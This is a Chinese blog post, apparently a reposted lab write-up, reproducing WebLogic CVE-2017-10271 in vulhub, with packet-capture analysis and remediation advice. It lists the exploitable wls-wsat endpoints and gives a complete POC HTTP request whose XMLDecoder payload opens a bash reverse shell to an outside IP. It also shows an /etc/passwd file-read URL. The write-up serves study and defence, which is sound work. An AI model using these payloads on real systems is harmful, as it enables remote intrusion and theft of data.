zoukankan      html  css  js  c++  java
  • 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析

    Weblogic CVE-2017-10271 XMLDecoder反序列化

    1.Weblogic-XMLDecoder漏洞浅析

    0x01 前生今世:

    ​ weblogic:7001端口

    ​ redis :6379 端口

    ​ tomcat: 8009 端口

    ​ 此处存在任意文件读取下载漏洞:http://your-ip:7001/hello/file.jsp?path= 如读取 passwd文件:http://your-ip:7001/hello/file.jsp?path=/etc/passwd

    ​ 首先此漏洞前身为CVE-2017-3506,但是此补丁对于漏洞的修复只限于做了类似于黑名单一样的限制,并没有从原理上解决,才导致了CVE-2017-10271漏洞的出现。绕过了补丁做的限制即可触发RCE远程执行命令。

    0x02 涉及版本:

    ​ 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

    0x03 利用姿势:

    2. 漏洞点在于:

    ''' 例如 '''
    http://IP:7001/wls-wsat/CoordinatorPortType
    

    3. 其他可利用URI:

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    

    4. 如何利用?

    ​ 在上方8个路径中任意选择一个路径,将content-type改成text/xml类型
    content-type:text/xml,然后改为post方式传入payload,即可漏洞复现,如果此处为修改类型,则会收到内容为不支持的类型的返回包。

    5. POC

    ''' 反弹shell '''
    ''' 注意反弹shell语句需要像下面一样进行url编码 '''
    
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    
    Host: your-ip:7001
    
    Accept-Encoding: gzip, deflate
    
    Accept: */*
    
    Accept-Language: en
    
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    
    Connection: close
    
    Content-Type: text/xml
    
    Content-Length: 641
    
    
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    
    <java version="1.4.0" class="java.beans.XMLDecoder">
    
    <void class="java.lang.ProcessBuilder">
    
    <array class="java.lang.String" length="3">
    
    <void index="0">
    
    <string>/bin/bash</string>
    
    </void>
    
    <void index="1">
    
    <string>-c</string>
    
    </void>
    
    <void index="2">
    
    <string>bash -i &gt;&amp; /dev/tcp/192.168.124.141/1234 0&gt;&amp;1</string> 
    
    </void>
    
    </array>
    
    <void method="start"/></void>
    
    </java>
    
    </work:WorkContext>
    
    </soapenv:Header>
    
    <soapenv:Body/>
    
    </soapenv:Envelope>
    

    6. 抓包分析

    0x01 建立反弹shell过程抓包

    image-20200831220443076

    image-20200831220559794

    0x02 反弹shell中执行命令抓包

    image-20200831221337615

    7. 修复建议

    1. 更新Oracle相应补丁

    2. 对wls-wsat的资源访问在防火墙或路由器和交换机上做acl访问控制规则

    3. 在不影响业务的前提下删除相应war包

      rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
      rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
      rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
      

      重启weblogic后观察wls-wsat/目录下那8个URI是否还可访问,如为404即删除成功。

    8. 参考文章

    https://www.freebuf.com/articles/web/197339.html ---weblogic从入门到放弃

    https://www.freebuf.com/vuls/179579.html --- weblogic JAVA反序列化

  • 相关阅读:
    4、springboot之全局异常捕获
    3、springboot之热部署
    可重入锁
    2、springboot返回json
    1、springboot之HelloWorld
    [转]查询 SQL Server 系统目录常见问题
    设计模式原则详解
    [转]第二章 控制反转和依赖注入
    [转]Spring.Net介绍
    [转]Oracle High Water Level高水位分析
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/13664161.html
Copyright © 2011-2022 走看看